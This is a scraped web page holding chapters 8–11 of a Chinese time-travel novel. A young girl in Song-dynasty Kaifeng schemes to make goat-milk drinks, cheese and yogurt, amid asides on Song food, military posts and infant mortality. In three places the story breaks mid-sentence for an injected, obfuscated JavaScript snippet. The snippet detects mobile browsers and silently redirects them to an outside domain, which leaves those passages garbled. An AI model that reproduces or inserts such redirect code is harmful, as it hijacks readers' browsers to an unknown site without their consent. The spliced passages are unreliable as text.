在这个男权至上的封建社会，她也只能在幼时获得更多的容忍，待长到十四五岁，怕不是只能乖乖在家备嫁。 如今就是拉拢"贵人扶持"，进行创业的大好时机。 她扳着肉乎乎的手指头在心里盘算：谁会无条件纵容她的奇思妙想？谁能在她闯祸后默默收拾烂摊子？谁是她荣辱与共的好伙伴？ 谁能给予她百分百的信任和支持，谁能见证她迈出成功的第一步，更是谁吃了亏也要把牙往肚子里吞，是她荣辱与共的好伙伴？ 当然是她那同一个爹妈生的、又好用又听话的男德华了。 投资需谨慎，但是妹妹牌投资，走过不能错过！ 8. 第 8 章 晚饭后，西厢房的书房内茶香袅袅。 吴夏泡好了一壶清茶，准备认真预习功课。他伏在梨木案头校勘《礼记-曲礼上》注疏，笔尖悬在"幼子常视毋诳"上方，忽觉颈部一凉。 没错，他已经当了快一个月的失学少年了，有点心慌慌。 还有他妹，也是失学儿童。 但是这个失学儿童，可是气定神闲。 只见她正踮脚将手中的大风车插在他的衣领处，硬纸扎的他脖子痒痒的。 吴夏按住跳动的太阳穴，把纸风车拔出来丢在一旁："字写完了吗？没有就回你屋里继续写。"话音未落，面前就被啪的一声放下3页大字。 待吴夏逐一检查后，吴悦这才掏出藏在背后好一会儿的《齐民要术》，将想展示的那一页高高举起，歪头问。 “初煎乳时，上有皮膜，以手随即掠取，着别器中，泻熟乳着盆中，未滤之前，乳皮凝厚，亦悉掠取；明日酪成，若有黄皮，亦悉掠取，并着饔中，以物痛熟研良久，下汤又研，亦下冷水，纯是好酥。这里的酥是什么呀？是不是今晚我们吃的破麻酥？" 邹着眉头将这一章节上下文细细研读两三遍，吴夏又回忆了下晚饭时那道甜品的模样，犹豫再三才道。“大概不是同一个东西，这个明显是在说将鲜奶煮沸后取上层的乳皮，破麻酥却是炸物。” “哦，大概不是同一个东西。”吴悦怪模怪样地学舌。"知之为知之，不知为不知，是知也。所以，这两者到底是不是同一个东西呢？" 被妹妹拿孔夫子的圣人言堵住，吴夏望着妹妹，在犹豫要不要斩钉截铁的断言两者不是同一个东西时，只见她用手指着书案上他正在校勘的《礼记-曲礼上》，也停在了那句"幼子常视毋诳"上。 幼子常视毋诳。 对小孩子要经常拿正确的思想来教育他，而不能用欺骗的方式教育他。 "说吧，你想要什么！"无事不登三宝殿，他这个妹妹今晚可是有备而来。 “嘿嘿，知我者，大兄也！”从袖中抖出一张宣纸，摊开放在书案上，吴悦顺便把毛笔也沾满墨汁，恭恭敬敬地给她哥递了上去。“我说，你来记，然后明天再把这些都买了！” “买了？哪来的钱，你的？”吴夏简直诧异。 “当然是哥哥，你刚刚还想欺骗我，把我教坏，这是给你的惩罚！别忘了，幼子常视毋诳，圣人就是这么教你的吗？行啦，快写吧，堂堂男子汉，废话怎么这么多？”她有点不满。 “快写，马上我该睡觉了，不要影响小孩子睡觉长个子。” 茶香裹着墨香还有小孩子身上的奶香漫进书房，烛火摇曳中，吴夏看着妹妹鬼灵精怪的模样，叹了口气，似乎在感慨自己失去的小金库："说吧，我记。" 亥时梆子响过三声，吴悦终于在自己的床上甜甜的睡去。 吴夏还在书房看刚刚记录的东西。 羊奶、陶瓮、麻布、枣木杵、竹筛......这是打算自己做酥？ 还真是"发愤忘食，乐以忘忧"。 下次就教她这句话。 ------------------------------------ “爹！娘！”第二天，天一大亮，吴悦就穿戴整齐，来到正房，坐在床榻边闹着要吴父带她出去吃早食。 在古代没有大数据的时代，她也只能通过观察市井生活、分析时令物产、完成古代版本的市场调研。 刘耘娘被她吵得头疼，喊着快带这个烦人精出门。 于是，兄妹俩跟着父亲一道，出现在了一家临街卖羊肉汤和炊饼的店里。 宋代无论宫廷还是民间，最推崇的肉类当属羊肉。赵宋皇室尤其嗜羊，据闻赵匡胤与大臣宴饮时，喝到兴头上，便当场要赏赐对方“一百口羊”；他还曾一次性送给南唐主李璟一万头羊，当作生日礼物。 宋仁宗对羊肉更是偏爱有加。 史料记载，宫中单日最高宰杀量达280头羊，后来追查发现是内监监守自盗，实际仅宰杀40头，其余都被倒卖到宫外牟利。即便如此，大量羊肉流入市场，也从侧面印证了民间对羊肉的巨大消耗量。 宋神宗时期，据载一年消耗羊约17000只。 靖康之变后，赵宋皇室南渡，羊肉仍为宫中消耗量最大的肉类。 汴梁城的正店里，最负盛名的便是羊肉的各式肴馔，常见者如炙羊肉（烤羊肉）、软羊（炖羊肉）。 《曲洧旧闻》记载，苏东坡在海南“烂蒸同州羊羔，灌以杏酪，食之以匕不以箸”，足见宋人对羊肉烹饪的精细考究。 即便手头拮据也无妨，在脚店或食肆中，亦能尝到羊杂碎这般平民美味。 《东京梦华录》记载的近两百道肉类料理里，近四成与羊肉相关，而后世常见的猪肉料理仅占两成。 而为了保证羊的供应，皇家还设有专门的“牛羊司”，职责就是“畜牧羔羊，栈饲以给烹宰之用”。当时的羊，一部分来自在开封北边的牧场，一部分去陕西民间购买，还有一部分就是在边境贸易和辽国购买。 但是和羊肉的消费比起来，对羊奶以及羊毛经济价值的发掘就不足百分之一了。 小手举着有着她半个脸大的炊饼，用还没长齐的乳牙啃了几口，没什么滋味，想红油豆腐乳了。 炊饼其实就是蒸饼，也就是类似后世的馒头，由于蒸和宋仁宗赵祯的祯发音相近，为了讲究避尊者讳，就不再叫蒸饼而是炊饼。 所以，武大郎卖的炊饼，其实就是馒头。 沿着羊肉汤碗边来回吹了半圈，她才小心翼翼地就着碗沿喝了两口。 俺们河南人，就是有不用勺子喝汤的天赋技能。 嗯，有点膻，汤味倒是很鲜美，缺了四川油辣椒，不过那就不太正宗，后世喝羊汤或者吃烩面通常都放羊油辣子。 不过辣椒这玩意还要等500多年，环球大航海时才会从美洲通过欧洲的商船，传向世界。 少吃点辣椒也好，少吃点肯定没痔疮。 忽而想起历史上那位因痔疮苦不堪言的张居正——在辣椒尚未成为餐桌常客的年代，首辅大人的病症究竟从何而来？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609423|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >吴悦默默陷入沉思。 最终，羊汤只喝了小半碗，她爹便将碗端过去，稀里呼噜地灌了个底朝天，又把她没啃完的炊饼用布包上，数出八十文钱付给店家。 吴军单手抱着幼女，领着儿子，朝不远处的龙卫禁军指挥使司衙署走去。 “为父每隔两日便要到校场操练，若有事找我，就去寻你路伯，让他传话。”吴军边走边说，目光扫过街角拴马桩上的禁军令牌，“校场门禁森严，闲杂人等无令不得靠近。每月初一，为父会来此处将月末点验的兵器、甲胄数目造册登记；月中则需领取粮饷，分发给辖下弟兄。” 他抬手指了指朱漆大门上悬着的“龙卫司”匾额。 禁军分上四军与下四军。戍卫皇城的捧日军（骑兵）、天武军（步兵）隶属殿前司，协防京师及关隘的龙卫军（骑兵）、神卫军（步兵）则归侍卫马军司与步军司统辖，此四军皆为拱卫京城的上四军精锐。 吴军便隶属于龙卫军，早年在西北战事中练得一手虎虎生威的马刀功夫。 吴夏用力点头，将父亲的话暗暗记在心里。 吴父转身朝东边街巷走去，脚步在青石板上敲出嗒嗒声响：“此处离家是有些远，脚程慢些得半个时辰。”他忽然压低声音，“不过为父在这衙门也待不了几个月了。” 吴悦的耳朵唰地竖了起来，只见父亲凑近哥哥耳边，声息如蚊：“再过些时日，为父便能领供备库副使之职，入武器署协助管理库务，监督兵器修缮。” “那是几品官员呀？”她也小声地趴在她爹耳边问。 悦悦不懂，但是悦悦想知道。 吴父就认真的为俩孩子解释了一番。 供备库副使是连接军事与后勤的中级武职，品级从七品，职能却于三司（盐铁、度支、户部）中的仓储管理相关，负责监督地方库藏、兵器甲胄及军粮调配。 因此供备库副使虽属武阶，但常与文官系统协作，战时可能被派往前线与当地地方官员协调财政与后勤。 “还是正七品啊....”她有点失望，没升也没降，还是正七品，皇帝小气鬼。 吴夏倒是懂得更多点，惊喜地望着他爹。 吴大郎明白儿子想问什么，肯定的点了点头。 留下不明所以的吴悦，只能左看看右看看，等着她哥科普。 原来这供备库副使是武将转型文职的跳板，自从宋太祖赵匡胤"杯酒释兵权"之后，武将地位急剧下降。《宋史-职官志》记载，北宋时期，枢密院(主要掌管军政)正职官员中，文职出身官员占73.9%；枢密院副职官员中，文职出身官员占83.7%。 连以赫赫战功著称，步入执宰行列，突破武将阶层天花板的狄青，也逃不过被文官集团排挤，被贬谪，最后被活活吓死的命运。 这就不难解释，为什么整个中下层武将家族普遍陷入武而不贵的焦虑。 说起来，吴悦似是突然想起了什么。 那个吓死狄青的文彦博现在靠着裙带关系上位没？ 文彦博的裙带关系，就是温成皇后张氏了。 9. 第 9 章 张氏的父亲曾是文彦博的门客，张氏入宫后认文彦博为伯父。当时文彦博身为地方官员，担任成都知州。张氏为在后宫争宠，示意文彦博进献灯笼锦，文彦博依言照做。元宵节时，张氏身着这件灯笼锦面见宋仁宗，称文彦博与自己的父亲曾有旧交，对她多有关照。宋仁宗大喜，随后将文彦博调回朝廷，任命为枢密副使（从二品），不久又升任参知政事，官居一品。 至于文彦博如何逼死狄青，不过是诛心之论的再一使用。 当时文彦博已经为同平章事（宰相），文官主导的宰执集团中迎来了狄青这位担任枢密使（掌管西府）的武臣，这可把他恶心坏了，于是建议宋仁宗将狄青外放。 狄青无罪却遭外放，心中倍感委屈。宋仁宗也认为他受了委屈，称狄青是忠臣。 文彦博却进言：“宋太祖赵匡胤也曾是周世宗的忠臣，却因深得军心，最终发生了黄袍加身、陈桥兵变之事。” 宋仁宗听后，只得接受了外放狄青的提议。 狄青不知道文彦博这诛心之论，跑去为自己辩白。 文彦博却只冷冷抛下一句“朝廷怀疑你”，便将他打发走了。 狄青外放以后，宋仁宗每个月都派使者去慰问看望他两次。每次听说仁宗的使者来，狄青就惶惶不可及，结果不到半年，就生病去世了。 一句“黄袍加身”，逼死了狄青；一个“莫须有”，冤杀了岳飞。 有时候不得不感叹，宋朝的覆灭实有其因——皇帝昏聩糊涂，朝臣迂腐短视。若不是当时金国尚未崛起，哪需等到八十年后的靖康之耻？ 她在这边扼腕叹息，深感前路艰难，兄长却在另一边欣喜若狂——毕竟，这位“失学少年”终于有学可上了。 仁宗朝规定，国子监入学需满足两个条件：年龄十五岁以上，且为七品以上官员子弟。 由于北宋“重文轻武”之风盛行，武官子弟常受歧视，通过恩荫获得入学资格者寥寥无几。以父亲的武官身份论，此前根本无望跻身国子监。 四年前由范仲淹推动创立的太学，初设三百人名额，面向平民子弟择优录取。但对这位不求甚解、得过且过的兄长而言，要在选拔中胜过那些既聪慧又勤勉的学子，难如登天。 原本以为兄长只能进入专科学校，学习精算、律法等实用之学，日后做个小吏——这还不如回地方武学就读。 庆历年间，武学已成立并开始招生，然据《宋会要辑稿》记载，以元丰年间（1078-1085）为例，武学在校生仅百人，而太学多达三千八百人；武学毕业生最高仅授七品官职，太学上舍生却可直接授予六品官阶。 因此，她爹这回可是给了个天大的惊喜。 吴夏整张脸兴奋得通红，拱手作揖道：“爹放心，孩儿定当刻苦攻读，不负厚望！” 吴父欣慰地笑着颔首，旋即正色道：“我衙门里还有公务，你们兄妹先回家去。” 随即就与兄妹俩告别。 从衙门往家走的路上，吴夏拉着吴悦，那是脚步轻快，走得额头微汗，才望见自家那座青瓦白墙的院落。叩门将妹妹送进院子，转身喊上路与，攥着昨夜列好的清单就是出门采买去了。 他仍沉浸在即将入学的狂喜中，恍若百年前“春风得意马蹄疾”的孟郊附体，当下决定，妹妹交待的事，不但要办得快，更要办得好！ 他甚至已开始畅想：“我准备得这般周全，妹妹定会夸我。” 吴悦还不知道她哥居然是如此自我攻略的人才，正乖乖地回去找阿婆和阿娘问好。 她像只毛茸茸的小鹦鹉般蜷在母亲刘耘娘膝头，将今日外出的见闻叽叽喳喳说了个遍。不一会就感觉小孩子精力不济，说着说着便觉眼皮沉重，像被抽去浑身力气，软绵绵地歪进母亲怀中，不多时便呼吸均匀地睡熟了。 待再度缓缓睁开双眼，日头斜照，案头的香炉里，安眠香正悠悠地飘散着袅袅轻烟，似有若无的香气在空气中氤氲开来。 抬手揉了揉惺忪的睡眼，小脸睡得红扑扑的，缓缓从自己的小床上爬起来，在青枣的帮助下将外衫和鞋子都穿好，再将刚刚睡得歪七八倒的双髻散开重绑，一个可爱的小团子就拾掇好了。 恰在此时，院外传来路伯的吆喝声。原来是吴夏已差人将新买的鲜奶，连同杏仁、棉布、竹簸箕等用品一并送回了家。 吴悦顿时像被注入一股鸡血，从睡眼惺忪中猛然清醒，脚步哒哒地径直往厨房奔去。 宋代并无饮用鲜奶的习惯：婴儿哺乳依赖母乳，幼儿通常由乳母喂养至三四岁，甚至更久。 据记载，宋哲宗十岁时，宫中一次仍需从民间征集十多位乳母，可见时人对人乳滋补功效的过度迷信。 而成年人普遍排斥直接食用动物奶，仅偶尔食用奶酪。皇家设有专门的乳酪院，会采购牛羊奶加工成酥油、乳酪等制品，多用于佐餐调味。 至于直接饮用动物奶，在时人眼中被视为低贱之举，被归入市井粗鄙之物。 宋人将饮用牛羊奶视为北方游牧民族的饮食标志。 苏辙在《和子瞻煎茶》中提及的契丹奶茶，便是将牛羊奶与茶混合制成的怪异饮品，这种饮食形式完全不符合中原的味觉审美。 欧阳修更直接以“腥膻”形容乳制品，暗指其文化粗鄙，通过贬低奶制品来维护中原文明的优越性。 但是鲜奶和奶制品的营养价值已经在后世经过检验。 "一杯牛奶强壮一个民族"。 这句曾风靡中国的口号，相信经历过80年代的人都不陌生。 日本早在二战后便通过《学校供餐法》推行“一杯牛奶计划”，为全国中小学生提供免费午餐牛奶。数据显示，至1990年，日本17岁男性平均身高较战前增长了12.3厘米。 这一成果被当时媒体耸动的以“一杯牛奶强壮一个民族”的醒目标题广泛传播，成为饮食干预改善国民体质的经典案例。 在她眼中，身边人大多身材中等，唯有父亲身高足有1.8米，在人群中堪称鹤立鸡群。这大概得益于他身为武将，自幼习武，且饮食营养相较常人更为充足。 据史书记载，宋代征兵有明确身高标准：真宗朝规定最低入伍身高为五尺二寸（宋代1尺约合31.68厘米，五尺二寸约1.65米）。而古代文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609424|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 献中常见的“七尺男儿”说法，大概是一种夸张的文学表述，并非真实身高标准。 后世通过对宋代墓葬遗骨的测算得出，当时男性平均身高约为165-170厘米，女性平均身高则在152-158厘米之间，这与史书记载的征兵身高下限基本吻合，反映了宋代社会的普遍体格状况。 据后世研究推算，宋代人口平均寿命约35岁。其中，占总人口不足1%的士人阶层男性，平均寿命可达61岁；生活条件优渥、医疗资源较充裕，但受生育风险影响的士人女性，平均寿命约53岁。 反观平民阶层，因长期面临粮食短缺、疫病威胁与战争动荡，女性受频繁生育和营养不良的双重影响，平均寿命仅约33岁，男性则在36岁左右，二者差距悬殊。 古代社会阶层在资源分配与生存条件上的巨大鸿沟，由此可见一斑。 她不得不认真盘算：如何在这个时代保障自己平安长大，避免因营养不良影响身高发育与寿命。这实在是因为当时可摄入的食物太过单一，且新生儿和婴幼儿死亡率极高，能活到成年的存活率不足五成。 古代资源匮乏，平民家庭常因生计所迫提前给幼儿断奶，改用米糊、粟粥等辅食充饥，乡间“产后三日即劳作，乳少而子饥”的场景屡见不鲜。过早断奶导致幼儿体弱，这正是平民阶层夭折率居高不下的主因。 她家虽属行伍家庭，但祖父机智，积存了不少珍宝；父亲身为低层武官，因勇武过人、臂力超群屡获赏赐，家境在同行中颇为优渥，她才能每日吃上一个鸡蛋补充营养，身体素质较常人略好。至于兄长，虽未继承父亲的强健体格，却生得体格轻便，尤擅骑术。 但是，儿童生存率低在当前即便贵为皇室子女也难以幸免：宋仁宗育有13女，9女早夭；宋神宗生14子，8子早夭。 相较之下，平民百姓家的婴儿死亡率只会更高。 四分之三的女婴尚未起名便夭折，且因无人登记具体数据，仅从《欧阳修全集》记载的103例有确切婴儿享年的样本来看，其中仅有8份为女婴。这一数据明显与宋代女性占42%总人口的比例不符。 她的祖母曾夭折两女一子，而到了父母这一代，北宋建国已近百年，时局安定，家中条件大幅改善，两位姐姐和哥哥均平安长大。她认为，这或许与父亲三年一次外出换防、兄姐间隔多年生育、母亲母体得以恢复有关。试想宁华殿的张美人，年头刚生长女，年尾便再次怀孕，这哺乳期叠加妊娠只会对身体造成不可逆的器质性损伤。 婴儿的高夭折率，除疾病因素外，还与宋代普遍存在的杀婴现象密切相关——这便是臭名昭著的“生子常不举”。 苏轼在《与朱鄂州书》中记载：荆湖北路（今湖北一带）“岳、鄂间田野小人，例只养二男一女，过此辄杀之。”朱熹之父朱松在《韦斋集-戒杀子文》中亦提及，江西婺源一带百姓“多止育两子，过是不问男女，生辄投水盆中杀之。” 两宋时期，东南地区尤其是福建一带的杀婴溺婴之风最为盛行，时人记载：“闽人不喜多子，以杀为常，生子多者，至第四子则率皆不举，若女则不待三。” 10. 第 10 章 不得不感谢“穿越大神”，让她平安出生，未因病早夭。人生第一关，算是成功渡过了。 接下来要应对的第二关，是被规训的食欲，这正是千年饮食文化加诸女性的生存困境。 在古代农耕社会，肉蛋等优质蛋白质资源会被优先分配给男性。 这种所谓的“生存策略”，本质上是由肉食获取成本与性别分工共同决定的：男性被赋予优先分配权，而传统审美中病态的“柔弱之美”，更要求女性少食荤腥，以蔬菜米面果腹，维持纤细身形。 多数女性唯有在孕期才能获得特殊补给，比如杀一只家中饲养的老母鸡，或吃个鸡蛋补身。 即便在千年之后，仍有不少美食博主宣扬“男孩该为女友煮红糖小汤圆缓解痛经”的“关怀”，实则延续着对女性身体真正需求的隐性限制。 现代营养学早已证实，肉蛋奶的营养价值远高于以红枣、红糖、糯米为主的高糖食品，科学的膳食结构应是“优质蛋白+全谷物+蔬果”的三元组合。 然而在宋代，“五谷为养、五果为助”的养生观念深入人心，肉类仅被视为偶尔补益的辅食。 道教秉持“食肉者多嗔”的理论，倡导士大夫茹素以修心；佛教亦劝诫少杀生，不少礼佛的宫妃及勋贵家族女眷会“每月持斋十日”。贵族女子更推崇“晨起食露葵，夜卧服茯苓”的生活方式，认为素食可“驻颜去皱”，达成所谓“柔弱之美”的体态追求。 儒家经典《孟子-梁惠王上》中记载：“鸡豚狗彘之畜，无失其时，七十者可以食肉矣。” 按照孟子的理想，唯有七十岁以上的老者方能常食肉馔，普通人则需节制荤腥，这种将肉食与年龄、身份挂钩的观念，深深植根于农耕社会的资源分配逻辑。 经济拮据的平民百姓，唯有逢年过节才能尝到肉食。 她家虽家境优渥，但当前的饮食文化仍不容许一个5岁女童顿顿食肉，单靠鸡蛋，难免钙质摄入不足。只能另寻他法，用当时世人普遍排斥的牛羊奶作为加餐补充营养。 庆幸的是，士大夫阶层皆视饮用鲜奶为低贱粗鄙之举，平民家庭的肉蛋资源又优先向男性倾斜，牛羊奶反而为底层女性开辟了生存补给渠道，得以弥补因营养不足、经期失血及哺乳消耗而受损的健康与寿命。 她需证明鲜奶的价值，却不能大肆宣扬，否则被人察觉，定会将其经济价值攥在手中。这条适合当前女性的生存补给线，必须隐秘而谨慎地推广。 “小娘子，羊奶煮沸了。” 吴悦的个头还不及灶台高，自然不会使用家中的土灶烧火，年长几岁的青枣便成了她的得力帮手，指哪儿，打哪儿。 铁锅里的羊奶正咕嘟咕嘟翻着白泡，吩咐青枣用长柄木勺不停地搅动锅底，防止火候过大烧糊，又往沸奶里丢了几颗杏仁。待羊奶二次煮沸后捞出杏仁，浓郁的膻味便大幅消散，一杯简易的杏仁羊奶饮品便制成了。 “你又在鼓捣什么？”门外忽然传来母亲严厉的声音。 她慌忙从灶台边的矮凳上跳下来，趿拉上鞋，对着走进厨房的娘亲咧嘴一笑。 “我在照着哥哥给的书做饮子呢。” 刘耘娘瞪了她一眼：“你哥哥再过两年就要备考，别总指使他东奔西跑，误了学业。” 作为在传统教育中长大的女性，她笃信男性通过科举入仕才是家族兴衰的根本。 话音未落，吴王氏也由王婆搀扶着进了屋，笑盈盈望向小孙女：“悦娘做了什么好喝的饮子？让阿婆也尝尝。” “是羊奶！加了杏仁去膻的！”吴悦忙不迭指挥青枣盛了一碗，亲手捧给阿婆。 吴王氏坐在厨房矮凳上浅啜几口，朝王婆使了个眼色，示意她将碗端走：“确实没什么膻味，比我年轻时喝的顺口多了。” 刘耘娘也盛了一碗，细细品了几口，眼底倒有几分惊喜：“若加些蜂蜜，或配些樱桃、桑果酱同饮，滋味想必还不错。” 这家行伍出身的人家，倒也不觉得鲜奶是野蛮饮食。 尤其吴王氏，战乱年间充饥度日，哪样粗粝食物没下肚过？虽然说身体上能接受，但是心里上不会去主动喝。 “医书上说‘乳、酪、酥等常食之，令人有筋力、胆干，肌体润泽’，所以咱家该多吃才是。哥哥读书费神，更需补养；娘和阿婆若常服，书中还道‘老而更少，发白更黑，齿落更生’呢。” 这话暗合现代营销学精髓，精准捕捉家庭成员的健康需求：兄长备考费神、长辈盼求延寿，以古籍为据强化营养焦虑，再将牛羊奶包装成全家皆宜的食疗方案。 “是哪本书上看的？”刘耘娘和吴王氏面面相觑，东西说的这么好，怎么没见贵人吃？ 吴悦指了指被她扔在地上的《天工开物》，咧嘴一笑说。 “就是这本唐代孙思邈《千金药方》。上次去二姐家，二姐夫还说唐代另一本《千金翼方》里也写过呢。”仗着自家亲娘和阿婆不会去翻书页封面，她开始随口胡扯。 “而且谁说贵人不吃，”她眨了眨眼，“官家设有乳酪院专做酥酪，大姐信里还提过樊楼新出的软酪呢！怕是大户人家悄悄食补，不愿叫外人学了去。” 她又合理的给出了解释，并趁热打铁。 “哥哥用脑过度，记忆力下降？每天喝上一碗奶，赢在科举关键期，这是所有聪明娘亲的选择！” “哟？”聪明娘亲刘耘娘眯了眯眼，眉毛一挑。 “你小丫头片子，就是自己想喝吧？” 嘿嘿，她选择傻笑。 “行了，以后每天找人送上半桶。好在这羊乳也便宜，就是不便保存，记得以后每天喝光，不许找借口倒掉。”刘耘娘还是决定满足女儿的需求，小孩子稀罕个新鲜玩意，也属正常。 “就别给我准备了，就让她们兄妹喝吧。”吴王氏挥挥手，表示拒绝，她还是嫌弃有股膻味。 吴悦也没接着展开话术，对于她阿婆这个年纪，羊奶性热，容易上火，不适合过多饮用。 等她研究出来奶酪和黄油，还有酸奶，再做给阿婆尝鲜。 羊奶奶酪人类最早开发的乳制品之一。 早在公元前3000年左右，居住在安纳托利亚高原的游牧民族就发现羊奶在羊皮袋中能够自然发酵变酸凝结成块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609425|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这也是奶酪的原型。 40年后，就在海的另一边的欧洲大陆，会发起持续两个世纪的十字军东征，其中易于携带，且富含脂肪的奶酪是十字军士兵主要的蛋白质来源。 奶酪也是横扫欧亚大陆的蒙古骑兵的重要能量来源，除此外，马可波罗还描写到他们能够长途奔袭和快速机动作战也依赖于“一种糊状物”。 马可波罗游记记载，将鲜奶煮沸，撇取表面凝结的乳脂层单独存放（这也就是鲜奶油，留在牛奶里就会影响后续加工变硬），将撇去鲜奶油的牛奶摊铺在阳光下自然晒干成粉末状。 当蒙古士兵需要进食时，只需舀取少量粉装入皮囊，加入适当的水。随着马匹颠簸晃动，皮囊内的混合物会逐渐融合成糊状物，无需生火即可直接食用，降低了暴露目标的风险还能让士兵在马背上迅速补充体力，不影响行军。 现代的蒙古族，还会利用自然发酵制作奶皮子、胡鲁达和奶渣。 考虑到当前工具的限制，她决定采用旅游时参观的罗马尼亚传统羊奶奶酪工坊时看到的奶酪制作工艺。 首先将新鲜羊奶用纱布过滤杂质，加热至35°C左右，这个温度接近动物体温，有利于激活酶活性。接着加入从羊胃粘膜中提取的天然凝乳酶，搅拌均匀后静置，直至奶液凝固成豆腐状。用刀将凝乳切成1-2厘米见方的立方体，静置15分钟释放乳清，再用木质平勺伸入容器底部，沿同一方向缓慢推动搅拌，促使凝乳块收缩抱团。随后将凝乳装入粗棉布，悬挂在房梁或用重物压制沥干水分，简易的农家奶酪便初步成型。 不过这类奶酪含水量较高、易腐败，需在短期内食用完毕。若想长期保存，需在表面撒盐或浸盐水，再放置于低温且高湿度的环境中熟成数周乃至数月。 为获取制作凝乳酶的新鲜羊胃，她已烦恼许久。每隔几天便吵着要吃羊肚，每次出门买菜都坚持跟着，回家后又找借口支开家人，独自躲在厨房处理羊胃黏膜。 但是这是她目前能想到的、收集天然凝乳酶的唯一办法。 吴悦轻轻吸了吸鼻子，空气中的酸腐味已不再那么刺鼻。这已经是她们处理的第三个羊胃了，第一次因菜刀未煮沸消毒导致感染，第二次图省事将干腌胃袋直接扔进羊奶，终究没提取出有效酶成分。 这次她格外谨慎，每一步都在记忆里反复推演后才让青枣执行。 青枣熟稔地剖开羊胃，用冷水反复冲洗，刮净残余食物，独独留下泛着绒毛的胃黏膜层。将其细细切碎、撒盐揉搓后，平铺在竹筛上阴干。案板上未用的胃壁部分，这是特意留着给王婆做菜的。 等到三日后，再将阴干的黏膜块被碾成粉末，按一比十的比例浸泡在冷水中，这就成了。 青枣虽不懂这玩意有何用，但是也不妨碍她听话照做。 五年前被姑祖母从老家带来，便日日跟着小娘子身边。那时小娘子也刚呱呱坠地，夫人说要给女儿备个贴心人，她的命运便与粉雕玉琢的小娘子紧紧系在了一处。 她已经想好了，待小娘子嫁人，她也梳了头嫁人去，给小娘子的孩子当乳母，陪着小娘子一辈子。 11. 第 11 章 "弟前日于县衙偶阅邸报，惊闻族兄因言获罪，如今赋闲在家。然君子之道，如泰山之松，虽经霜雪，不损其贞。今执事偶罹谗诟，正宜效古人‘居易以俟命’之德，何戚戚于一时之屈伸乎？吾在南阳有一弟子，姓吴名夏，乃七品武弁之后。此子天资颖悟，本为璞玉之材，奈何时下重文偃武之风浸淫，竟致蹉跎岁月。然其为人诚悫，临事机变，某观其骨相，若得明师点化，必能脱胎换骨。若蒙不弃，使此子得侍左右，执洒扫之役，朝夕侍奉砚席，假以时日，定能涤其浮躁之气，成其瑚琏之器。弟非敢以驽马累良骥，实怜此子如璞玉在泥，待兄之琢磨耳。" 朦胧月色中，石介坐在凌仪街赁居的小院里，指尖摩挲着信封上斑驳的火漆。暮色将青砖地染成铁青色，信封上"石沐阳"三个字已经渐渐看不清晰，但是信里的内容言犹在耳。 这封信是在南阳县学教书的族弟所写，一是听闻了他被罢免，在劝导他不要一条路走到黑。二是为了给他送个弟子，还是个武将之子。 石介又望向石桌上，妻子上月寄来的家书，翻开还能闻到家中常用的熏香。信中写着东京冬日寒湿，劝他不如回乡开办学院，家中妻儿也可团聚。 这时，一个神色匆匆的年轻男子举着一顶灯笼走入院内，拱手行礼后举着手中的灯笼，沉默地站在他身旁，两人静静地这么相伴了许久，感受着夜风的冷意。 “通夫”突然，石介站起身，下定了决定，“明早你就去东内城医者街的吴宅，去帮为师找个人，此子名吴夏，他的父亲是正七品的禁军指挥使，找到了就将他带来。” 男子，也就是何群，表字通夫，诧异地抬起了头，后又恭敬地垂着头称喏。 “明日吕公著也要把儿子送来，你早点休息吧。” 挥挥手让弟子退下，石介仰天长叹。 “弟子遵命，也请师父早点休息。” 头颅再一次恭敬地垂下，做礼，拜别。 最后，院中只留着石介一人对着月亮喃喃自语。 “武官的后代，难道就没有书香门第的子孙吗？” ---------------------------------------- 清晨，吴宅 “青枣，我想喝酸奶”清晨的阳光下，吴悦蹦蹦跳跳地从房内出来，虽说刚刚已经吃了早饭，但是小肚子似乎还能再塞下一小碗冰凉凉的酸奶。 羊奶奶酪进展确实速度缓慢，但是酸奶被她成功研究出来了。 只需要将过滤后的鲜牛奶用火加热至微烫，倒入晾洗后熏蒸消毒干净的皮囊，塞入衣襟里贴身携带，利用人体温度发酵一天，第二天倒出来的奶如果凝结成嫩豆腐样，散发清香酸味，乳清呈现微黄透明状，这样的菌种就成功了。 菌种成功，那酸奶也就轻轻松松不在话下。 连不怎么爱吃甜食的兄长都会时不时来一碗。 她捧着加了蜂蜜的酸奶吃的正香，却见刘耘娘从库房走了出来，身后的路与和王婆各提着一个礼盒。 “娘！”吴悦看到，跳下石墩，抱着酸奶碗就迎了上去。 刘耘娘蹲下身，有点嫌弃的替女儿擦擦嘴角的奶渍，拍了拍她的小屁股，这才开口，“娘今天要去你姐姐家，你要一起来吗？” 